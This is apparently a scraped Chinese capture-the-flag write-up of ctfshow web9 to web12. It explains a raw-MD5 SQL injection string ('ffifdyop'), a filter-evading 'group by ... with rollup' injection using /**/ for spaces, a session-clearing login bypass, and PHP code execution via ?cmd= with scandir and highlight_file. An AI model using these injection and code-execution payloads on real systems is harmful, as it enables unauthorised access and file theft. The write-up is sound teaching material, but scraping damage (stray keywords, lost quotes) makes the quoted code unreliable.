艺术学校网站模板,网页设计素材分析案例,网站字体大小合适,吉林省建设工程质监站网站web9
阐释一波密码#xff0c;依然没有什么 发现#xff0c;要不扫一下#xff0c;或者看一看可不可以去爆破密码
就先扫了看看#xff0c;发现robots.txt 访问看看,出现不允许被访问的目录 还是继续尝试访问看看
就可以下载源码#xff0c;看看源码 ?php $fl…web9
阐释一波密码依然没有什么 发现要不扫一下或者看一看可不可以去爆破密码
就先扫了看看发现robots.txt 访问看看,出现不允许被访问的目录 还是继续尝试访问看看
就可以下载源码看看源码 ?php $flag; $password$_POST[password]; if(strlen($password)10){ die(password error); } $sqlselect * from user where username admin and password .md5($password,true).; $resultmysqli_query($con,$sql); if(mysqli_num_rows($result)0){ while($rowmysqli_fetch_assoc($result)){ echo 登陆成功br; echo $flag; } } ? 先看sql的语句
username admin and password .md5($password,true).
在php中.起到了连接的作用
MD5stringraw
参数描述string必需规定要计算的字符串。raw可选TRUE - 原始 - 16 字符二进制格式FALSE - 默认 - 32 字符十六进制数 也就是说我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username admin and password ‘ ’or xxxxx的形式逆过来我们需要将 or 11按照加密规则加密得到的就是我们最后要的东西只要md5加密后的16进制转化为二进制时有 or’xxxx
这里使用ffifdyop
ffifdyop 经过 md5 之后的值为 276f722736c95d99e921722cf9ed621c 276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中
密码ffifdyop登录 web10 依然是登录框
admin
1 or 11 如果密码输入的是空格或者是逗号也会出现以上的页面也就是被过滤了
接着上一题的思路我们首先要看到源码扫了之后也没有什么发现 但是细心观察一下就可以看出这一题登录框里面多了一个取消的按钮
点了之后下载了源码
?php$flag;function replaceSpecialChar($strParam){$regex /(select|from|where|join|sleep|and|\s|union|,)/i;return preg_replace($regex,,$strParam);}if (!$con){die(Could not connect: . mysqli_error());}if(strlen($username)!strlen(replaceSpecialChar($username))){die(sql inject error);}if(strlen($password)!strlen(replaceSpecialChar($password))){die(sql inject error);}$sqlselect * from user where username $username;$resultmysqli_query($con,$sql);if(mysqli_num_rows($result)0){while($rowmysqli_fetch_assoc($result)){if($password$row[password]){echo 登陆成功br;echo $flag;}}}? regex那条语句显示的就是过滤以下字符select|from|where|join|sleep|and|\s|union|,
if(strlen($password)!strlen(replaceSpecialChar($password))){ die(sql inject error); }过滤了双写绕过
显然许多注入的方式都被限制了
下面这个是以前从没有接触过的
group by 对进行查询的结果进行分组。group by后跟什么就按什么分组 with rollup group by 后可以跟with rollup可以在进行分组统计的基础上再次进行汇总统计。
达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null 在不输入 password 情况下就能达到源码中的条件
输入空的密码就可以得到nullnull 1/**/or/**/11/**/group/**/by/**/password/**/with/**/rollup/**/# /**/因为之前测试过过滤了空格运用它可以进行过滤 web11
这题有点意外源码直接显示在页面上 ?php function replaceSpecialChar($strParam){ $regex /(select|from|where|join|sleep|and|\s|union|,)/i; return preg_replace($regex,,$strParam); } if(strlen($password)!strlen(replaceSpecialChar($password))){ die(sql inject error); } if($password$_SESSION[password]){ echo $flag; }else{ echo error; } ? 同样也是过滤了许多的东西select|from|where|join|sleep|and|\s|union|,
最后发现只要$password$_SESSION[password]就可得到flag
session
是针对每个用户的只有客户端才能访问程序为该客户添加一个 session。session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。会将信息保存在服务器端
cookie
是针对每个网站的信息每个网站只能对应一个其他网站无法访问这个文件保存在客户端每次您拨打相应网站浏览器都会查找该网站的 cookies如果有则会将该文件发送出去。cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。会将信息保存在客服端
发现删除所有的session在上面的细心观察之后发现我们打开环境的时候就发现密码框里面是有东西的也就是显示出来的条目全部删除然后以空密码登录即可得到flag
让session和密码为空就可以达到条件 web12 看一下源码 提示进行 get 传参 ?cmd
进行一下测试
?cmdphpinfo(); 有页面回显就证明在cmd处可以进行构造语句进行命令执行
现在想着就是读取到文件也可以说是源码
用 system() 函数的命令system(‘ls’) 来读取存在的文件名但是这个命令没有回显应该是被限制了那就换一个
使用 scandir() 函数来查看目录中的文件 ?cmdprint_r(scandir(‘./’)); 下面这个也是可以的 ?cmdprint_r(glob(“*”)); glob(*) 匹配任意文件
glob(*.txt) 匹配以 txt 为后缀的文件。 发现是一个很长的php文件 使用高亮函数 payload/?cmdhighlight_file(903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php); show_source函数是highlight_file()函数的别名